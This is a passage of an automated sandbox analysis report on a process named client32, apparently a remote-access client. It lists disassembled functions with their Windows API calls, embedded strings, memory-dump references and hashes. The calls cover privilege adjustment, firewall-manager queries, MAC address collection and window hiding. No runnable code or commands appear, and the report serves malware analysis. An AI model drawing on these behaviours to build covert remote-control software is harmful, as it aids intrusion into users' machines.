getsockname.WSOCK32(00000000,?,?), ref: 6C4DAE4B
LeaveCriticalSection.KERNEL32(6C51B898), ref: 6C4DAE60
GetTickCount.KERNEL32 ref: 6C4DAE6C
InterlockedExchange.KERNEL32(?,00000000), ref: 6C4DAE7A

Strings

Connect error to %s using hijacked socket, error %d, xrefs: 6C4DAB17
Cannot connect to gateway %s, error %d, xrefs: 6C4DACA6
Cannot connect to gateway %s via web proxy, error %d, xrefs: 6C4DAD14
*TcpNoDelay, xrefs: 6C4DABB8

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$ErrorLast$BlockingHookLeave$Unhookclosesocket$Entergetsockname$CountExchangeInitializeInterlockedTick_memsetbindhtonsinet_ntoasocket
String ID: *TcpNoDelay$Cannot connect to gateway %s via web proxy, error %d$Cannot connect to gateway %s, error %d$Connect error to %s using hijacked socket, error %d
API String ID: 692187944-2561115898
Opcode ID: d75e62377674d8fcb3efb3630927b4d757e77fa736c0e273938cb8fe4900e118
Instruction ID: 3312697566025c28a66b0c70324cce83c9c3d6d8f34c157068445dca529b035b
Opcode Fuzzy Hash: d75e62377674d8fcb3efb3630927b4d757e77fa736c0e273938cb8fe4900e118
Instruction Fuzzy Hash: 01E1D471A012189FDB10EF94CC54FDDB3B5EF88315F1141AAE91A97B80DB70AE89CB91

Function 111365D0 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 474
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 11136607
IsWindow.USER32(000A023C), ref: 11136665
IsWindowVisible.USER32(000A023C), ref: 11136673
IsWindowVisible.USER32(000A023C), ref: 111366AB
GetForegroundWindow.USER32 ref: 111366C6
EnableWindow.USER32(000A023C,00000000), ref: 111366E0
EnableWindow.USER32(000A023C,00000001), ref: 111366FC
SetForegroundWindow.USER32(00000000), ref: 1113670B
FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 11136749
IsWindowVisible.USER32(00000000), ref: 11136758
IsWindowVisible.USER32(000A023C), ref: 11136788
IsIconic.USER32(000A023C), ref: 11136795
GetForegroundWindow.USER32 ref: 1113679F

Part of subcall function 1112E440: ShowWindow.USER32(000A023C,00000000,?,111365A2,00000007,?,?,?,?,?,00000000), ref: 1112E464

Part of subcall function 1112E440: ShowWindow.USER32(000A023C,111365A2,?,111365A2,00000007,?,?,?,?,?,00000000), ref: 1112E476

SetForegroundWindow.USER32(00000000), ref: 111367C5
EnableWindow.USER32(000A023C,00000001), ref: 111367D4
GetLastError.KERNEL32 ref: 11136893
GetLastError.KERNEL32 ref: 1113690B
GetTickCount.KERNEL32 ref: 11136BB8
GetTickCount.KERNEL32 ref: 11136BD9

Part of subcall function 11025850: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,11136C22), ref: 11025858

FreeLibrary.KERNEL32(?,00000000,000000FF,00000000,00000001,00000000,00000001,00000000,0000000A,?,00000000), ref: 11136C74

Strings

Shell_TrayWnd, xrefs: 11136744
HookDirectSound, xrefs: 11136990
ShowNeedsReinstall in 15, user=%s, xrefs: 11136BAB
Reactivate main window, xrefs: 111366B9
File <%s> doesnt exist, e=%d, xrefs: 11136897, 1113690F
Audio, xrefs: 11136995
Client, xrefs: 11136699, 1113681D, 11136B7B
NeedsReinstall, xrefs: 11136B76
HideWhenIdle, xrefs: 11136694
MainWnd = %08x, visible %d, valid %d, xrefs: 1113667D
disableRunplugin, xrefs: 11136818

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ForegroundVisible$Enable$CountErrorLastLibraryShowTick$CurrentFindFreeIconicLoadThread
String ID: Audio$Client$File <%s> doesnt exist, e=%d$HideWhenIdle$HookDirectSound$MainWnd = %08x, visible %d, valid %d$NeedsReinstall$Reactivate main window$Shell_TrayWnd$ShowNeedsReinstall in 15, user=%s$disableRunplugin
API String ID: 2511061093-2542869446
Opcode ID: 1db3aa73ece2aba6b3769e677822e7a305cb7c121d07db3711512aa45b20619f
Instruction ID: c12bfb835dec8db87971db584a6ebfa25760dbf59450f9c22f528e0bf407323c
Opcode Fuzzy Hash: 1db3aa73ece2aba6b3769e677822e7a305cb7c121d07db3711512aa45b20619f
Instruction Fuzzy Hash: 2A022674A11622DFD712DFE4CD84BAAFB65FB8032EF104939E5115728CEB70A940CB66

Function 6C4E7F80 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 154libraryloaderCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C4E7F9F
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,?,?,?,?,?,?,?,?,6C4DB916,?,00000100,00000006,00000001), ref: 6C4E7FAC
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 6C4E7FCB
GetAdaptersInfo.IPHLPAPI(00000000,?,?,00000000,?), ref: 6C4E7FE0
_malloc.LIBCMT ref: 6C4E7FFB
GetAdaptersInfo.IPHLPAPI(00000000,00000000,?,?,00000000,?), ref: 6C4E8015
wsprintfA.USER32 ref: 6C4E807C
_free.LIBCMT ref: 6C4E8110

Part of subcall function 6C4F1BFD: HeapFree.KERNEL32(00000000,00000000), ref: 6C4F1C13
Part of subcall function 6C4F1BFD: GetLastError.KERNEL32(00000000), ref: 6C4F1C25

FreeLibrary.KERNEL32(00000000,?,00000000,?), ref: 6C4E811C

Strings

%02X%02X%02X%02X%02X%02X, xrefs: 6C4E8076
iphlpapi.dll, xrefs: 6C4E7FA7
GetAdaptersInfo, xrefs: 6C4E7FC5

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: AdaptersFreeInfoLibrary$AddressErrorHeapLastLoadProc_free_malloc_memsetwsprintf
String ID: %02X%02X%02X%02X%02X%02X$GetAdaptersInfo$iphlpapi.dll
API String ID: 1372940892-834977148
Opcode ID: 5fbfd885b73fc7afe366d698636c26cd953bf2ea34ad9300e6db2f1892c7a99e
Instruction ID: c6378bb8959180b1cc49fe0590b9cc706d55a7960ea0503fa40f73d1ad12a983
Opcode Fuzzy Hash: 5fbfd885b73fc7afe366d698636c26cd953bf2ea34ad9300e6db2f1892c7a99e
Instruction Fuzzy Hash: F7513870A042459BDF00CF798CA4EEABBF4AF4D30AF194166ED45A7741E7319905C760

Function 11095A00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11095A14
CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,11134C9B), ref: 11095A2E
CoCreateInstance.OLE32(?,00000000,00000001,111BBF6C,?,?,?,?,?,?,?,11134C9B), ref: 11095A4B
CoUninitialize.OLE32(?,?,?,?,?,?,11134C9B), ref: 11095A69

Strings

HNetCfg.FwMgr, xrefs: 11095A29
ICF Present: , xrefs: 11095A70

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceProgUninitialize
String ID: HNetCfg.FwMgr$ICF Present:
API String ID: 3222248624-258972079
Opcode ID: 416287ba7a6d29136d2a1af30e77efadae5919c105aa5988b7078af631c7899e
Instruction ID: 73b709afbdd1132fb33507a0e76638f805a81179bb797c8937dcaa11ada4acd3
Opcode Fuzzy Hash: 416287ba7a6d29136d2a1af30e77efadae5919c105aa5988b7078af631c7899e
Instruction Fuzzy Hash: 2011E971F012295FC701DBE28C94AAFFB68AF44704F104429F509E7104E726DE00C7D6

Function 110724D0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11072600
_memset.LIBCMT ref: 11072779

Strings

_License, xrefs: 110725C1
NBCTL32.DLL, xrefs: 110726B5
serial_no, xrefs: 110725BC

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: NBCTL32.DLL$_License$serial_no
API String ID: 2102423945-35127696
Opcode ID: f0b6fc75bca46a6550bf719f8e494def53ab5a82089fa433cb713ae0d0f3e7f4
Instruction ID: 1614d489088f702805b7c294ab8cd141b683b2d0a452664b2bc22bb5004ab356
Opcode Fuzzy Hash: f0b6fc75bca46a6550bf719f8e494def53ab5a82089fa433cb713ae0d0f3e7f4
Instruction Fuzzy Hash: B5B1AF75E00609AFE704CFA8DC81FAEB7F5FF88300F148169E9499B295DB71A945CB90

Function 11030A50 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(1102DEE0,?,00000000), ref: 11030A74

Strings

NSMWClass, xrefs: 11030A93
Client32, xrefs: 11030A54
NSMWClass, xrefs: 11030A7F

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: Client32$NSMWClass$NSMWClass
API String ID: 3192549508-611217420
Opcode ID: 549b57d017b0e64cca5f47fbeb1213b3a1be2c83ab88cd0cc32149f8ce6b7851
Instruction ID: f670b4642ebf55f0a3c30af44d4e1f7796263ad0dbd8d6979057ef2700c1d797
Opcode Fuzzy Hash: 549b57d017b0e64cca5f47fbeb1213b3a1be2c83ab88cd0cc32149f8ce6b7851
Instruction Fuzzy Hash: D4F0F634801326DFD306EFA5D9D0A96F7E0EB4570C7148035ED2497308EB30AD00CB91

Function 1109C4F0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000F01FF,?,1102FA03,00000000,00000000,00080000,8F98CBB2,00080000,00000000,00000000), ref: 1109C51D
OpenProcessToken.ADVAPI32(00000000), ref: 1109C524
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109C535
AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109C559

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 2349140579-0
Opcode ID: ec0aeb84056820706021069ee4b0f545c2251a7e4d4ebea97ded86ddcfdbe07e
Instruction ID: a26769d0cf59d46d88c0300c81491fac92eb9b16b341a04a2d860a989291d25b
Opcode Fuzzy Hash: ec0aeb84056820706021069ee4b0f545c2251a7e4d4ebea97ded86ddcfdbe07e
Instruction Fuzzy Hash: 6F014CB1600219AFD710DF98CC89BAFF7BCEB48705F108529FA06D7280D7B06904CBA2

Function 1109C580 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,00000000,?,?,00000000,00000000,00000000,1109D8C0,00000244,cant create events), ref: 1109C59C
CloseHandle.KERNEL32(?,00000000,1109D8C0,00000244,cant create events), ref: 1109C5A5

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 07b6c080e2ef9d1b524653a43e28c47792f2e6050ec9e1d6ef6176c43a5e0348
Instruction ID: b91f3ae979c30d2028e84bd2ed431ef9c175057a582b1d81b1e33605d5f1ac2c
Opcode Fuzzy Hash: 07b6c080e2ef9d1b524653a43e28c47792f2e6050ec9e1d6ef6176c43a5e0348
Instruction Fuzzy Hash: E6E0EC71610611ABE738CE25DD95FA677ECAF48B01F214A5DF956D6180CA60E8408B64

Function 1102DFF0 Relevance: 234.6, APIs: 31, Strings: 102, Instructions: 1865windowthreadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

GetSystemMetrics.USER32(00002000), ref: 1102E174
FindWindowA.USER32(NSMWClass,00000000), ref: 1102E335

Part of subcall function 1110D180: GetCurrentThreadId.KERNEL32 ref: 1110D216
Part of subcall function 1110D180: InitializeCriticalSection.KERNEL32(-00000010,?,110309CC,00000001,00000000), ref: 1110D229
Part of subcall function 1110D180: InitializeCriticalSection.KERNEL32(111EB8A0,?,110309CC,00000001,00000000), ref: 1110D238
Part of subcall function 1110D180: EnterCriticalSection.KERNEL32(111EB8A0,?,110309CC), ref: 1110D24C
Part of subcall function 1110D180: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,110309CC), ref: 1110D272

GetWindowThreadProcessId.USER32(00000000,?), ref: 1102E371
OpenProcess.KERNEL32(00100400,00000000,?), ref: 1102E399
IsILS.PCICHEK(?,?,View,Client,Bridge), ref: 1102E65B

Part of subcall function 11093B90: OpenProcessToken.ADVAPI32(00000000,00000018,00000000,00000000,00000000,00000000,?,?,1102E3C8,00000000,?,00000100,00000000,00000000,00000000), ref: 11093BAC
Part of subcall function 11093B90: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,1102E3C8,00000000,?,00000100,00000000,00000000,00000000), ref: 11093BB9
Part of subcall function 11093B90: CloseHandle.KERNEL32(00000000,00000000,?,00000100,00000000,00000000,00000000), ref: 11093BE9

SendMessageA.USER32(00000000,00000010,00000000,00000000), ref: 1102E3F8
WaitForSingleObject.KERNEL32(00000000,00007530), ref: 1102E404
CloseHandle.KERNEL32(00000000), ref: 1102E41C
FindWindowA.USER32(NSMWClass,00000000), ref: 1102E429
GetWindowThreadProcessId.USER32(00000000,?), ref: 1102E44B
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1102E1A6

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

LoadIconA.USER32(11000000,000004C1), ref: 1102E7F5
LoadIconA.USER32(11000000,000004C2), ref: 1102E805
DestroyCursor.USER32(00000000), ref: 1102E82E
DestroyCursor.USER32(00000000), ref: 1102E842

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

GetVersion.KERNEL32(?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1102EE04
GetVersionExA.KERNEL32(?,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1102EE57

Part of subcall function 11141160: ExpandEnvironmentStringsA.KERNEL32(7693795C,?,00000104,7693795C), ref: 11141187

Part of subcall function 1113F5D0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110C55B,76938400,?), ref: 1113F667
Part of subcall function 1113F5D0: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 1113F687
Part of subcall function 1113F5D0: CloseHandle.KERNEL32(00000000), ref: 1113F68F

Sleep.KERNEL32(00000064,Client,*StartupDelay,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000), ref: 1102F3F2
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102F42C
DispatchMessageA.USER32(?), ref: 1102F436
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102F448
CloseHandle.KERNEL32(00000000,Function_00026E80,00000001,00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 1102F6E0
GetCurrentProcess.KERNEL32(00000000,Client,*PriorityClass,00000080,00000000,Client,*ScreenScrape,00000000,00000000,?,?,?,?,?,00000000), ref: 1102F718
SetPriorityClass.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000), ref: 1102F71F
SetWindowPos.USER32(000A023C,000000FF,00000000,00000000,00000000,00000000,00000013,Client,AlwaysOnTop,00000000,00000000), ref: 1102F755
CloseHandle.KERNEL32(00000000,11059250,00000001,00000000,?,?,?,?,?,?,?,?,00000000), ref: 1102F7D6
wsprintfA.USER32 ref: 1102F945

Part of subcall function 111252F0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,8F98CBB2,00000002,76232EE0), ref: 1112534A
Part of subcall function 111252F0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 11125357
Part of subcall function 111252F0: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000), ref: 1112539E

PostMessageA.USER32(NSMWControl32,00000000,Default,UseIPC,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 1102FA97
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1102FAAD
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1102FAD6
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1102FAFF

Strings

Global\NSMWClassAdmin, xrefs: 1102F93A
*ListenPort, xrefs: 1102FA3E
MiniDumpType, xrefs: 1102E8F1
Windows Millennium, xrefs: 1102EECA
cl32main, xrefs: 1102E023
Windows Vista, xrefs: 1102F04E
TCPIP, xrefs: 1102FA43
DisableJournal, xrefs: 1102EBD6, 1102EC74
EnableSmartcardLogon, xrefs: 1102F83F
TraceIPC, xrefs: 1102F99F
_debug, xrefs: 1102F3AE
Windows 2008 x64, xrefs: 1102F0E1
Error x%x reading nsm.lic, sesh=%d, xrefs: 1102E516
Windows 8.1, xrefs: 1102F1EE
Windows 7 x64, xrefs: 1102F139
Windows Ding.wav, xrefs: 1102ED81
Windows 2012, xrefs: 1102F1C0
DisableHelp, xrefs: 1102ECD4
NSTWControl32, xrefs: 1102FAEA
client32, xrefs: 1102E595, 1102E732
DisableRunplugin, xrefs: 1102EAB7
IsILS returned %d, isvistaservice %d, xrefs: 1102E66A
Windows XP Ding.wav, xrefs: 1102ED88
istaUI, xrefs: 1102E0A6
NSA.LIC, xrefs: 1102E4BB, 1102E4C2, 1102E4E5
_debug, xrefs: 1102E79D, 1102E8F6, 1102F9A4
*ScreenScrape, xrefs: 1102F471, 1102F4BA, 1102F6EC
Windows 2003, xrefs: 1102EFAF
ScreenScrape, xrefs: 1102EACF, 1102EAF9, 1102EB23
CLIENT32.CPP, xrefs: 1102E1BA, 1102E74B
*StartupDelay, xrefs: 1102F3CB
DisableJoinClass, xrefs: 1102EB8E, 1102EC2C
Windows 98, xrefs: 1102EE9A
Info. Client already running, pid=%d (x%x), xrefs: 1102E37F
Default, xrefs: 1102FA8B, 1102FABA, 1102FAE3
General, xrefs: 1102E8D8, 1102E9AF, 1102ED1E, 1102ED51
Windows NT, xrefs: 1102EF2D
DisableTSAdmin, xrefs: 1102E9F8
Windows 8, xrefs: 1102F167
